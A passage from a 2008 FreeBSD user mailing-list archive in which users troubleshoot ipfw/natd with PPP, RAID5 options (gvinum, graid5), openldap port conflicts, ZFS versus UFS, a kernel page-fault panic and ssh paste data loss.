all the rest. $fwcmd add deny log ip from any to any > > 5. Then insert these commands to /etc/ipfw.rules as the first two rules. > > /sbin/ipfw add divert natd all from any to any via tun0 > > /sbin/ipfw add pass all from any to any > > then run the ipfw script to load the new rules. > > sh /etc/ipfw.rules > > Which other rules? Please see above. > > But I just can't pass step 3, unless I unload ipdivert. > > And your ppp.conf or ppp command definitely doesn't mention -nat? Not at all. As said above only ``ppp -background isp''. /etc/rc.conf and /etc/ppp/ppp.conf do not store anything about -nat. > > Please don't suspect my system. It had just been very freshly > > installed from CDs before I tried everything. And without ipdivert > > being loaded into the kernel, I can dial and browse any sites and > > very fast with my /etc/ppp/ppp.conf. Should note a bug? > > Maybe it is. I'm out of ideas anyway, and noone else has come forward. I have been using *Unix for 7 years (2 years for linux and 5 years for FreeBSD). I haven't found such things. Even with noisy telephone line, I could always dial isp. (But link down sometimes, of course it is found everywhere.) I think it is a bug. > Well I'm pretty sure you shouldn't load ipdivert as well as using ipfw > nat, but I've been almost 100% wrong so far so perhaps best ignore me :) I may go on with ppp -nat, but when I have time. I am always busy... Lastly, thank you very much for your kind response. Cheers, Pongthep From pb at ludd.ltu.se Mon Dec 1 09:03:38 2008 From: pb at ludd.ltu.se (Peter B) Date: Mon Dec 1 09:03:45 2008 Subject: RAID5 on FreeBSD 6 or 7 Message-ID: <200812011645.mB1GjBWj016342@brother.ludd.ltu.se> Is it vinum or gvinum (geom8) that is the utility to create a RAID5 volume..? Things like that gvinum lacks the 'stop' command etc.. makes me think that it's not production ready or that the source code has not matured enough. /P From lists at webtent.net Mon Dec 1 09:14:24 2008 From: lists at webtent.net (Robert Fitzpatrick) Date: Mon Dec 1 09:14:31 2008 Subject: openldap24-sasl-client conflicts In-Reply-To: <200812011634.26024.fbsd.questions@rachie.is-a-geek.net> References: <1228140069.14908.23.camel@columbus.webtent.org> <20081201094813.4e311526@scorpio> <200812011634.26024.fbsd.questions@rachie.is-a-geek.net> Message-ID: <1228151660.20351.4.camel@columbus.webtent.org> On Mon, 2008-12-01 at 16:34 +0100, Mel wrote: > On Monday 01 December 2008 15:48:13 Jerry wrote: > > > >failed packages (-:ignored / *:skipped / !:failed) > > > ! net/openldap24-client (install error) > > > * net/nss_ldap > > > * security/pam_ldap > > ^^^^^ portupgrade > > > > I am assuming that you are attempting to install the port(s) manually. > > Have you tried using a port management tool like 'portmanager' or > > 'portupgrade' to handle the task. > > It's likely it's caused by portupgrade, but won't be able to tell till the > output from net/nss_ldap build. > Thanks for the ideas from everyone. I was doing a portinstall of nss_ldap and pam_ldap. I went ahead and used the -k option and all in and working now. I also received the error when installing samba, I'm sure would for every LDAP dependent port if memory serves. This always bites me, I have uninstalled/reinstalled ports in the past and fiddled with things to get it all working, but nowadays I am more knowledgeable/comfortable using force options with the port utilities. -- Robert From fbsd06 at mlists.homeunix.com Mon Dec 1 09:17:53 2008 From: fbsd06 at mlists.homeunix.com (RW) Date: Mon Dec 1 09:17:59 2008 Subject: Date/time installed ports have been updated on a system? In-Reply-To: <20081201151249.GA5103@aurora.oekb.co.at> References: <20081201151249.GA5103@aurora.oekb.co.at> Message-ID: <20081201171748.1c9b5718@gumby.homeunix.com> On Mon, 1 Dec 2008 16:12:49 +0100 Ewald Jenisch wrote: > Hi, > > Is there any way to determine when upgrades to installed ports have > been done on a system? I did a "portupgrade -arR" recently and want to > know which ports have been upgraded in that process (and no I didn't > run that portupgrade under "script"...) pkg_glob(1) can show package installed before or after either a time or a particular port. From roberthuff at rcn.com Mon Dec 1 09:25:55 2008 From: roberthuff at rcn.com (Robert Huff) Date: Mon Dec 1 09:26:02 2008 Subject: Date/time installed ports have been updated on a system? In-Reply-To: <20081201171748.1c9b5718@gumby.homeunix.com> References: <20081201151249.GA5103@aurora.oekb.co.at> <20081201171748.1c9b5718@gumby.homeunix.com> Message-ID: <18740.7708.896663.777313@jerusalem.litteratus.org> RW writes: > > Is there any way to determine when upgrades to installed ports have > > been done on a system? I did a "portupgrade -arR" recently and want to > > know which ports have been upgraded in that process (and no I didn't > > run that portupgrade under "script"...) > > pkg_glob(1) can show package installed before or after either a time > or a particular port. One can also send the output to a file, and grep your chosen ports or use "tail -f". I do not recommend doing this with "portupgrade -a" unless you know the list will be fairly short. (Imagine rebuilding OpenOffice, KDE, Java, FireFox, ....) Robert Huff From wojtek at wojtek.tensor.gdynia.pl Mon Dec 1 09:49:59 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Mon Dec 1 09:50:06 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <200812010959.15647.kirk@strauser.com> References: <200812010959.15647.kirk@strauser.com> Message-ID: <20081201184722.S10680@wojtek.tensor.gdynia.pl> > I have ZFS on my 7.1-PRERELEASE system, and while it does some spiffy things, > in general I'm a bit underwhelmed. UFS is excellent. your problem is that you like to have "lots of filesystems". why don't just make one or one per disk? i have one per disk/mirror configuration everywhere except one place where i made separate filesystem for /var/spool/squid for some reasons. tell me what's your needs and how many/what disks you have. UFS is best-performer on real load, runs on almost no RAM, but uses more if available for caching. From ulrich at pukruppa.net Mon Dec 1 09:50:08 2008 From: ulrich at pukruppa.net (Peter Ulrich Kruppa) Date: Mon Dec 1 09:50:17 2008 Subject: Samba, WinVista and Roaming Profiles Message-ID: <49342488.2090905@pukruppa.net> Hello, I hope my question isn't too off-topic for this list, but usually some people come up with good ideas ... We have got a FreeBSD Samba Server (set up as PDC) and about 100 WinXP desktops and laptops. The WinXP machines can log into the network, connect to home directories and shares and download (roaming) profiles. Everything works fine with them. Now we have purchased 2 new WinVista desktops. Login and shares work all right, but they can't download the profiles. They will deliver an error message saying they lack appropriate permissions. Any idea what is happening there? Thanks for your help and greetings, Uli. From fbsd.questions at rachie.is-a-geek.net Mon Dec 1 10:06:39 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Mon Dec 1 10:06:46 2008 Subject: openldap24-sasl-client conflicts In-Reply-To: <1228151660.20351.4.camel@columbus.webtent.org> References: <1228140069.14908.23.camel@columbus.webtent.org> <200812011634.26024.fbsd.questions@rachie.is-a-geek.net> <1228151660.20351.4.camel@columbus.webtent.org> Message-ID: <200812011906.35101.fbsd.questions@rachie.is-a-geek.net> On Monday 01 December 2008 18:14:20 Robert Fitzpatrick wrote: > On Mon, 2008-12-01 at 16:34 +0100, Mel wrote: > > On Monday 01 December 2008 15:48:13 Jerry wrote: > > > >failed packages (-:ignored / *:skipped / !:failed) > > > > ! net/openldap24-client (install error) > > > > * net/nss_ldap > > > > * security/pam_ldap > > > > ^^^^^ portupgrade > > > > > I am assuming that you are attempting to install the port(s) manually. > > > Have you tried using a port management tool like 'portmanager' or > > > 'portupgrade' to handle the task. > > > > It's likely it's caused by portupgrade, but won't be able to tell till > > the output from net/nss_ldap build. > > Thanks for the ideas from everyone. I was doing a portinstall of > nss_ldap and pam_ldap. I went ahead and used the -k option and all in > and working now. I also received the error when installing samba, I'm > sure would for every LDAP dependent port if memory serves. This always > bites me, I have uninstalled/reinstalled ports in the past and fiddled > with things to get it all working, but nowadays I am more > knowledgeable/comfortable using force options with the port utilities. It's not working, it's masking the real error, which is either in portupgrade or /usr/ports/Mk/bsd.ldap.mk. Normally, you get this error, when a port's Makefile specifies it depends on "something", but that "something" isn't installed by the port, which means the "is this dependency installed" check always fails. For me, it works: # ls /var/db/pkg/|grep ldap openldap-sasl-client-2.4.11 openldap-sasl-server-2.4.11_2 # make -C /usr/ports/net/nss_ldap lib-depends ===> nss_ldap-1.257 depends on shared library: ldap-2.4.3 - found -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From nejc at skoberne.net Mon Dec 1 10:08:55 2008 From: nejc at skoberne.net (Nejc Skoberne) Date: Mon Dec 1 10:09:05 2008 Subject: RAID5 on FreeBSD 6 or 7 In-Reply-To: <200812011645.mB1GjBWj016342@brother.ludd.ltu.se> References: <200812011645.mB1GjBWj016342@brother.ludd.ltu.se> Message-ID: <49342833.4070904@skoberne.net> Hey Peter, > Is it vinum or gvinum (geom8) that is the utility to create a RAID5 volume..? > Things like that gvinum lacks the 'stop' command etc.. makes me think > that it's not production ready or that the source code has not matured enough. actually gvinum is production-ready, it only doesn't implement all the features of vinum. I've been using since 2006 and it works, but it is slow. I just played with it this weekend again, you can check http://nejc.skoberne.net/2008/11/gmirror-and-gvinum-on-the-same-drives/. However, as I said, gvinum is slow. I also run graid5 and some say it is pretty stable. I've been running it for a year on a non-production server and it works for me, but haven't seen it in action, when a drive fails or something. It is fast, though. See it's page on Wikipedia for more info. I'd use it more if it was part of official FreeBSD release, but for now it is only available as a patch (AFAIK). Bye, Nejc From wojtek at wojtek.tensor.gdynia.pl Mon Dec 1 10:09:26 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Mon Dec 1 10:09:32 2008 Subject: Which FreeBSD is best for my PC? In-Reply-To: <200812011309.29942.fbsd.questions@rachie.is-a-geek.net> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> <20081201121113.23e67986.freebsd@edvax.de> <200812011309.29942.fbsd.questions@rachie.is-a-geek.net> Message-ID: <20081201190822.V10767@wojtek.tensor.gdynia.pl> >> Oldie @ 1 GHz? You must be joking. I'd bite my hand off for >> such hardware. :-) > > No need. Get a job at a computer service store, like my fiancee. You will get > orphans donated in the 2-3Ghz range "just as long as my data is transfered to > the new computer". ;) looks like such services on your area are most costly that good computers. funny but possible. From wojtek at wojtek.tensor.gdynia.pl Mon Dec 1 10:12:47 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Mon Dec 1 10:12:53 2008 Subject: RAID5 on FreeBSD 6 or 7 In-Reply-To: <49342833.4070904@skoberne.net> References: <200812011645.mB1GjBWj016342@brother.ludd.ltu.se> <49342833.4070904@skoberne.net> Message-ID: <20081201191042.N10784@wojtek.tensor.gdynia.pl> > However, as I said, gvinum is slow. I also run graid5 and some say it is pretty same for me. it works and works fast. but still - small writes WILL be slow as it's RAID5 because of this i don't have much uses for it, as in most cases today drive's capacities are much larger than amount of data that has to be protected. so i use gmirror most often > stable. I've been running it for a year on a non-production server and it works > for me, but haven't seen it in action, when a drive fails or something. It is simply disconnect one drive to test. > fast, though. See it's page on Wikipedia for more info. I'd use it more if it > was part of official FreeBSD release, but for now it is only available as a > patch (AFAIK). which is strange. someone don't like RAID5 to be included in system? From admin at azuni.net Mon Dec 1 10:23:14 2008 From: admin at azuni.net (admin@azuni.net) Date: Mon Dec 1 10:23:22 2008 Subject: FreeBSD 4.8: can't load kernel after doing "cp -R /" to another disk In-Reply-To: <200811301216.28523.tijl@ulyssis.org> References: <49322B49.80005@azuni.net> <200811301216.28523.tijl@ulyssis.org> Message-ID: <49342B89.1050506@azuni.net> Tijl Coosemans wrote: > On Sunday 30 November 2008 06:57:29 admin@azuni.net wrote: >>>> Hello, everyone. This is the problem: our SCSI disk with FreeBSD >>>> 4.8 on it has been failing recently, so I copied its root partition >>>> to a fresh IDE disk with cp -pR and >>> You should use dump and restore to copy the root partition, see: >> I'd done that before trying cp -pR, as outlined by rse@: >> >> dump -L -0 -f- /old | (cd /new && restore -r -v -f-) >> http://people.freebsd.org/~rse/mirror/ >> >> which isn't too different. I think I know what the problem is: I made >> the new single slice and FreeBSD partition on it and ran newfs -U on >> it using the latest FreeBSD 5.x livecd toolkit, and later 4.8 can't >> even mount that partition (mount /dev/ad0s1a /mnt) failing with >> "incorrect superblock", so I think its /boot/loader can't load the >> kernel because of FS issues (but strangely enough pressing "?" at the >> boot loader prompt lists directory entries of the root FS just fine). >> It turns out UFS isn't upwards compatible from releases 4.8 -> 5.5. >> I'll try running newfs -U from 4.8. Last time I checked many 4.8 >> binaries couldn't run due to disk errors, I hope newfs runs ok... > > You need to create a UFS1 file system. Thanks a lot, I had forgotten about different UFS versions being used, and loader's showing the list of files when pressing "?" only poured more oil on the fire. This was really it. From lists at webtent.net Mon Dec 1 10:25:00 2008 From: lists at webtent.net (Robert Fitzpatrick) Date: Mon Dec 1 10:25:07 2008 Subject: openldap24-sasl-client conflicts In-Reply-To: <200812011906.35101.fbsd.questions@rachie.is-a-geek.net> References: <1228140069.14908.23.camel@columbus.webtent.org> <200812011634.26024.fbsd.questions@rachie.is-a-geek.net> <1228151660.20351.4.camel@columbus.webtent.org> <200812011906.35101.fbsd.questions@rachie.is-a-geek.net> Message-ID: <1228155896.20351.15.camel@columbus.webtent.org> On Mon, 2008-12-01 at 19:06 +0100, Mel wrote: > > Thanks for the ideas from everyone. I was doing a portinstall of > > nss_ldap and pam_ldap. I went ahead and used the -k option and all in > > and working now. I also received the error when installing samba, I'm > > sure would for every LDAP dependent port if memory serves. This always > > bites me, I have uninstalled/reinstalled ports in the past and fiddled > > with things to get it all working, but nowadays I am more > > knowledgeable/comfortable using force options with the port utilities. > > It's not working, it's masking the real error, which is either in portupgrade > or /usr/ports/Mk/bsd.ldap.mk. Ah, looks like I need WANT_OPENLDAP_SASL :/ -- Robert From rvm at CBORD.com Mon Dec 1 10:27:54 2008 From: rvm at CBORD.com (Bob McConnell) Date: Mon Dec 1 10:28:01 2008 Subject: FreeBSD and hardware?? In-Reply-To: <20081121211828.GA9493@kokopelli.hydra> References: <20081118141648.M84450@wojtek.tensor.gdynia.pl><1110372547-1227199990-cardhu_decombobulator_blackberry.rim.net-585491769-@bxe064.bisx.produk.on.blackberry> <20081121211828.GA9493@kokopelli.hydra> Message-ID: On Behalf Of Chad Perrin > On Thu, Nov 20, 2008 at 04:53:03PM +0000, > twelcome@mobileemail.vodafonesa.co.za wrote: >> Your assertion that "linux is both low end unix and low end windows >> replacement" is factually wrong: As a high end unix I think it's >> earned it's stripes, currently dominating the top 500 supercomputer >> systems in the world, some no other unix has managed to accomplish >> this time round. Notably, when compared to freebsd it offers support >> for virtualisation where bsd is nowhere close to doing, just one >> example of high end unix feature it provides. As a gui desktop, >> I'm certain kde is a superior interface to windows in many ways. > While I agree that, without some kind of supporting argument, the > statement that Linux systems are "low end" Unix replacements are kind of > spurious sounding, I don't think that market share is really an effective > metric for determination of the quality of a replacement for a given > class of OS. I believe that he forgot to reference this article from ServerWatch. This shows more than a marginal increase in "market share". It suggests that Sun and others have good reason to be nervous about their future prospects, and need to find new ways to make money. On the other hand, both Unix and Linux have a long way to go before they can match Microsoft's ease of use on the GUI. I believe the best way to attack that problem is to find a new paradigm to replace the desktop, which is not a great interface model to begin with. Bob McConnell ---- If a messy desk is the sign of a cluttered mind, what is an empty desk the sign of? From wojtek at wojtek.tensor.gdynia.pl Mon Dec 1 10:40:01 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Mon Dec 1 10:40:07 2008 Subject: FreeBSD and hardware?? In-Reply-To: References: <20081118141648.M84450@wojtek.tensor.gdynia.pl><1110372547-1227199990-cardhu_decombobulator_blackberry.rim.net-585491769-@bxe064.bisx.produk.on.blackberry> <20081121211828.GA9493@kokopelli.hydra> Message-ID: <20081201193722.A10843@wojtek.tensor.gdynia.pl> > This > shows more than a marginal increase in "market share". It suggests that > Sun and others have good reason to be nervous about their future > prospects, > and need to find new ways to make money. there is no sense of buying Sun hardware. they make excellent hardware but with more than "excellent" price, and their unix is damn slow compared to FreeBSD. > > > On the other hand, both Unix and Linux have a long way to go before they > can match Microsoft's ease of use on the GUI. I believe the best way unix is not windows replacements. all of these GUI overlays for which that much noise is heard are not just overlays, but are poorly designed even more poorly than windows. Windows is poorly designed too but at least it's somehow complete. From kwoody at citytel.net Mon Dec 1 10:57:36 2008 From: kwoody at citytel.net (Keith) Date: Mon Dec 1 10:57:43 2008 Subject: Page Fault. Message-ID: <20081201101311.C81770@pop.citytel.net> Have a machine, Dell dual CPU/quad core Xeon. Runs FBSD 6.2. Custom kernel, with IPFW compiled in and using SMP. FreeBSD 6.2-RELEASE FreeBSD 6.2-RELEASE #1: Wed Jan 23 12:17:29 PST 2008 It runs, Dovecot, Postfix, Mysql, Apache. Standard email stuff. Put into production in March, ran perfect until July 29th when it rebooted by itself. It rebooted 2 more times in the last few months on its own. But in the last 6 weeks it has become a weekly occurance, with uptime no more than 6-7 days at most. The last 2 times I have cores and have run kgdb on them. Both vmcore's show the same things. Same pointers etc, the only difference is what the cpuid was at the time. ====== kernel trap 12 with interrupts disabled Fatal trap 12: page fault while in kernel mode cpuid = 2; apic id = 02 fault virtual address = 0x104 fault code = supervisor read, page not present instruction pointer = 0x20:0xc066ca51 stack pointer = 0x28:0xe6ec0c90 frame pointer = 0x28:0xe6ec0c9c code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = resume, IOPL = 0 current process = 9 (thread taskq) trap number = 12 panic: page fault cpuid = 2 Uptime: 6d6h23m45s Dumping 3327 MB (2 chunks) chunk 0: 1MB (159 pages) ... ok chunk 1: 3327MB (851624 pages) 3311 3295 3279 3263 3247 3231 3215 3199 3183 3167 3151 3135 3119 3103 3087 3071 3055 3039 3023 3007 2991 2975 2959 2943 2927 2911 2895 2879 2863 2847 2831 2815 2799 2783 2767 2751 2735 2719 2703 2687 2671 2655 2639 2623 2607 2591 2575 2559 2543 2527 2511 2495 2479 2463 2447 2431 2415 2399 2383 2367 2351 2335 2319 2303 2287 2271 2255 2239 2223 2207 2191 2175 2159 2143 2127 2111 2095 2079 2063 2047 2031 2015 1999 1983 1967 1951 1935 1919 1903 1887 1871 1855 1839 1823 1807 1791 1775 1759 1743 1727 1711 1695 1679 1663 1647 1631 1615 1599 1583 1567 1551 1535 1519 1503 1487 1471 1455 1439 1423 1407 1391 1375 1359 1343 1327 1311 1295 1279 1263 1247 1231 1215 1199 1183 1167 1151 1135 1119 1103 1087 1071 1055 1039 1023 1007 991 975 959 943 927 911 895 879 863 847 831 815 799 783 767 751 735 719 703 687 671 655 639 623 607 591 575 559 543 527 511 495 479 463 447 431 415 399 383 367 351 335 319 303 287 271 255 239 223 207 191 175 159 143 127 111 95 79 63 47 31 15 #0 doadump () at pcpu.h:165 165 __asm __volatile("movl %%fs:0,%0" : "=r" (td)); ============ What might be the cause for this? It is the in the same place every time. Once the machine hung and had to be powercycled. But on the screen was the same page fault error on the same process. Is this flaky hardware? Thanks, Keith. From freebsd at edvax.de Mon Dec 1 11:00:40 2008 From: freebsd at edvax.de (Polytropon) Date: Mon Dec 1 11:00:48 2008 Subject: Noisy mouse In-Reply-To: <4933E969.80804@gmail.com> References: <20081129183517.D11614@wojtek.tensor.gdynia.pl> <4933E969.80804@gmail.com> Message-ID: <20081201200036.f7bdaace.freebsd@edvax.de> On Mon, 01 Dec 2008 08:40:57 -0500, Bryant Eadon wrote: > I've actually had this happen before. Somewhere along the line either : > 1. your audio and mouse/keyboard cables are coming into close proximity to > one another. > or > 2. Your mouse/kb cable is very close to a specific speaker. Number 2 is untypical. Using headphones or external speakers, even an external (and distant) amplifier with speakers leads to the same observation. As it has mentioned before, this seems to be an effect of interferences either in the area of the connection cables or within the computer (AF signal processing and amplification gets interference signals from keyboard / mouse connections). > The solution is to move your mouse cable away from your speakers/cables. But not if the problem is within the computer (read: the mainboard and the expansion cards). > I > guess you could shield it if you can't move it. Tinfoil around only the one > cable at close proximity sections should do the trick. Or the use of home-made shielded cables. :-) -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From kirk at strauser.com Mon Dec 1 11:21:39 2008 From: kirk at strauser.com (Kirk Strauser) Date: Mon Dec 1 11:21:46 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <20081201184722.S10680@wojtek.tensor.gdynia.pl> References: <200812010959.15647.kirk@strauser.com> <20081201184722.S10680@wojtek.tensor.gdynia.pl> Message-ID: <200812011321.43430.kirk@strauser.com> On Monday 01 December 2008 11:49:46 Wojciech Puchar wrote: > UFS is excellent. your problem is that you like to have "lots of > filesystems". why don't just make one or one per disk? For all the usual reasons: faster fsck, ability to set attributes on each filesystem (noexec, noatime, ro), a runaway process writing to /tmp won't cause problems in /var, etc. A big local reason is that Amanda is much easier to configure when you're using a bunch of filesystems because it runs tar with --one-file-system set. If /var is separate from / and I want to back them up separately, I just tell Amanda to dump / and /var. If /var is part of / then I have to say "dump / except for /var (and /tmp and /usr and ...)". > i have one per disk/mirror configuration everywhere except one place where > i made separate filesystem for /var/spool/squid for some reasons. Oh, there are definitely advantages to that setup. It just complicates certain admin functions (see above). With something like ZFS that makes creating new filesystems trivially easy, they're nice to use. > tell me what's your needs and how many/what disks you have. Right now I have a 750GB (with another on order) and a 320GB. The box is a multi-purpose home server with mail, several websites, and a bunch of local file streaming (from MP3 and ripped DVDs to Apple's Time Machine storage). > UFS is best-performer on real load, runs on almost no RAM, but uses more > if available for caching. That's my main beef with ZFS at the moment. I don't mind if it uses a lot of RAM - that's what I bought it for! - but that it doesn't seem to use it effectively (at least on my workload). - Kirk From libc.mail at gmail.com Mon Dec 1 10:17:09 2008 From: libc.mail at gmail.com (Eugene Pimenov) Date: Mon Dec 1 11:24:24 2008 Subject: Pasting via ssh causes data loss In-Reply-To: <200812011352.27349.fbsd.questions@rachie.is-a-geek.net> References: <200812010631.35147.fbsd.questions@rachie.is-a-geek.net> <7f73df71-b828-41b6-a27b-c7c6626e8950@g38g2000yqn.googlegroups.com> <200812011352.27349.fbsd.questions@rachie.is-a-geek.net> Message-ID: <9284e88e-ae6b-4164-888d-01913a0f7669@e18g2000yqo.googlegroups.com> On 1 ???, 15:52, Mel wrote: > On Monday 01 December 2008 10:33:17 Eugene Pimenov wrote: > > inetd: > $ grep telnet /etc/inetd.conf > #telnet stream ?tcp ? ? nowait ?root ? ?/usr/libexec/telnetd ? ?telnetd > #telnet stream ?tcp6 ? ?nowait ?root ? ?/usr/libexec/telnetd ? ?telnetd > > Quick setup: > remove appropreate hashmark above > /etc/rc.d/inetd onestart It works :( All 6060 bytes are saved. > > > I tried ssh -vvv, nothing between connect and disconnect. > > > It's definitely not an EOF. It just loses some part of data, doesn't > > stop receiving after some point. > > Where does it get lost? Meaning, does it get over the wire? Hard to check > encrypted, but a 3k diff should show up in number of the IP packets sent. Is > it possible to compare tcpdump linux <-> linux vs linux <-> freebsd on the > receiving end? I'm on Mac OS X, so tcpdumps: I to freebsd http://pastie.org/327953.txt?key=zaehiz6bxcxs3rjuyfbtyq freebsd to me http://pastie.org/327954.txt?key=autckpywar1mkngb9re0w I to linux http://pastie.org/327955.txt?key=klqvsd73l3flhayoykeeq linux to me http://pastie.org/327952.txt?key=uu1cpgleuhnctwcuqzxlw However, I'm not sure it's helpful. I mean you can't look inside a packet, because it was encrypted. Headers and packet size depends on many factors. For example, if you compare linux and freebsd tcpdumps here, you'll see that freebsd ignore packet's checksums and linux has tcp timestamps turned off, and so on. > > -- > Mel From valentin.bud at gmail.com Mon Dec 1 11:24:50 2008 From: valentin.bud at gmail.com (Valentin Bud) Date: Mon Dec 1 11:24:58 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <200812010959.15647.kirk@strauser.com> References: <200812010959.15647.kirk@strauser.com> Message-ID: <139b44430812011124j135c1889x71008fd39094c347@mail.gmail.com> On Mon, Dec 1, 2008 at 5:59 PM, Kirk Strauser wrote: > I have ZFS on my 7.1-PRERELEASE system, and while it does some spiffy things, > in general I'm a bit underwhelmed. > > PROS: > > Adding new filesystems on a whim is really nice. yes it is. > > It has a lot of really cool other features that I will probably never need. then you don't need ZFS. usually you choose a technology because you need it. if you don't need it then you don't use it. pure simple. > > CONS: > > I have nearly 3GB of wired RAM, but it doesn't seem to be all that fast. > For example, starting an Amanda backup on a UFS2 filesystem would get through > the "estimate" phase almost instantly on a system that had been up for several > days because of cached filesystem data. On ZFS, it still limps along even if I > just finished the last backup a few minutes earlier. it's all about compromises. uses lots of ram *but* gives you the ability to add new filesystems on the run. and after all it's all about choices. v > > Other than saying "I'm using ZFS", I don't seem to have much to show for it. > > WTF: > > "Raidz and top-level vdevs cannot be removed from a pool." > > > At this point, I'm almost ready to go back to good ol' UFS2, but I'd hate to > give up that easy addition of new filesystems. I *could* have a single 700GB > root FS but that just doesn't seem right. Are there any good, tested GEOM- > based ways of getting that functionality, perhaps along the lines of using > something like gvirstor and growfs as needed? > > - Kirk > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From fbsd.questions at rachie.is-a-geek.net Mon Dec 1 11:31:29 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Mon Dec 1 11:31:36 2008 Subject: Page Fault. In-Reply-To: <20081201101311.C81770@pop.citytel.net> References: <20081201101311.C81770@pop.citytel.net> Message-ID: <200812012031.25424.fbsd.questions@rachie.is-a-geek.net> On Monday 01 December 2008 19:32:59 Keith wrote: > Have a machine, Dell dual CPU/quad core Xeon. Runs FBSD 6.2. > Custom kernel, with IPFW compiled in and using SMP. > > FreeBSD 6.2-RELEASE FreeBSD 6.2-RELEASE #1: Wed Jan 23 > 12:17:29 PST 2008 > > It runs, Dovecot, Postfix, Mysql, Apache. Standard email stuff. Put into > production in March, ran perfect until July 29th when it rebooted by > itself. > > It rebooted 2 more times in the last few months on its own. But in the > last 6 weeks it has become a weekly occurance, with uptime no more than > 6-7 days at most. > > The last 2 times I have cores and have run kgdb on them. Both vmcore's > show the same things. Same pointers etc, the only difference is what the > cpuid was at the time. > > ====== > kernel trap 12 with interrupts disabled > > Fatal trap 12: page fault while in kernel mode > cpuid = 2; apic id = 02 > fault virtual address = 0x104 > fault code = supervisor read, page not present > instruction pointer = 0x20:0xc066ca51 > stack pointer = 0x28:0xe6ec0c90 > frame pointer = 0x28:0xe6ec0c9c > code segment = base 0x0, limit 0xfffff, type 0x1b > = DPL 0, pres 1, def32 1, gran 1 > processor eflags = resume, IOPL = 0 > current process = 9 (thread taskq) > trap number = 12 > panic: page fault > cpuid = 2 > Uptime: 6d6h23m45s > Dumping 3327 MB (2 chunks) > chunk 0: 1MB (159 pages) ... ok > chunk 1: 3327MB (851624 pages) 3311 3295 3279 3263 3247 3231 3215 3199 > 3183 3167 3151 3135 3119 3103 3087 3071 3055 3039 3023 3007 2991 2975 2959 > 2943 2927 2911 2895 2879 2863 2847 2831 2815 2799 2783 2767 2751 2735 2719 > 2703 2687 2671 2655 2639 2623 2607 2591 2575 2559 2543 2527 2511 2495 2479 > 2463 2447 2431 2415 2399 2383 2367 2351 2335 2319 2303 2287 2271 2255 2239 > 2223 2207 2191 2175 2159 2143 2127 2111 2095 2079 2063 2047 2031 2015 1999 > 1983 1967 1951 1935 1919 1903 1887 1871 1855 1839 1823 1807 1791 1775 1759 > 1743 1727 1711 1695 1679 1663 1647 1631 1615 1599 1583 1567 1551 1535 1519 > 1503 1487 1471 1455 1439 1423 1407 1391 1375 1359 1343 1327 1311 1295 1279 > 1263 1247 1231 1215 1199 1183 1167 1151 1135 1119 1103 1087 1071 1055 1039 > 1023 1007 991 975 959 943 927 911 895 879 863 847 831 815 799 783 767 751 > 735 719 703 687 671 655 639 623 607 591 575 559 543 527 511 495 479 463 > 447 431 415 399 383 367 351 335 319 303 287 271 255 239 223 207 191 175 > 159 143 127 111 95 79 63 47 31 15 > > #0 doadump () at pcpu.h:165 > 165 __asm __volatile("movl %%fs:0,%0" : "=r" (td)); > ============ > > What might be the cause for this? It is the in the same place every time. > Once the machine hung and had to be powercycled. But on the screen was the > same page fault error on the same process. > frame 0 useless. You need the frame after calltrap(). And: > instruction pointer = 0x20:0xc066ca51 list *0xc066ca51 Generally a bt will show the needed information. Likely cause: file system corruption, caused by background_fsck, but a backtrace should show more. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From ivoras at freebsd.org Mon Dec 1 11:34:40 2008 From: ivoras at freebsd.org (Ivan Voras) Date: Mon Dec 1 11:34:48 2008 Subject: RAID5 on FreeBSD 6 or 7 In-Reply-To: <20081201191042.N10784@wojtek.tensor.gdynia.pl> References: <200812011645.mB1GjBWj016342@brother.ludd.ltu.se> <49342833.4070904@skoberne.net> <20081201191042.N10784@wojtek.tensor.gdynia.pl> Message-ID: Wojciech Puchar wrote: >> fast, though. See it's page on Wikipedia for more info. I'd use it >> more if it >> was part of official FreeBSD release, but for now it is only available >> as a >> patch (AFAIK). > > which is strange. someone don't like RAID5 to be included in system? I'd like to see graid5 in the base system but I'm also one of those who sort-of held it back from being imported, at least by inaction. The reasons are: a) Last time there was discussion about including it (it's available somewhere in the freebsd-geom list archives) an issue was raised about its over-aggressive use of caching that is turned *on* by default. IIRC it's also likely that the design of the current code doesn't allow turning it off. I suppose this is what makes it fast but the concerns for data stability / corruption are real and not imaginary. b) It was developed by a non-developer. This in itself says nothing about the quality or the lack of quality of the code and is technically irrelevant but there are couple of organizational issues: 1) it needs someone to look after it when it's imported 2) it needs to conform to the style and code layout rules of the project I can't find the patch right now so I can't say for sure what is its state now. I believe that if issues a) and b.2) are solved there would be no problems or objections in importing it. (It could be said that ZFS makes it obsolete, but it's not so - lightweight RAID and file systems will always have their use). -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 258 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081201/f93a8366/signature.pgp From kirk at strauser.com Mon Dec 1 11:35:59 2008 From: kirk at strauser.com (Kirk Strauser) Date: Mon Dec 1 11:36:05 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <139b44430812011124j135c1889x71008fd39094c347@mail.gmail.com> References: <200812010959.15647.kirk@strauser.com> <139b44430812011124j135c1889x71008fd39094c347@mail.gmail.com> Message-ID: <200812011336.02805.kirk@strauser.com> On Monday 01 December 2008 13:24:48 Valentin 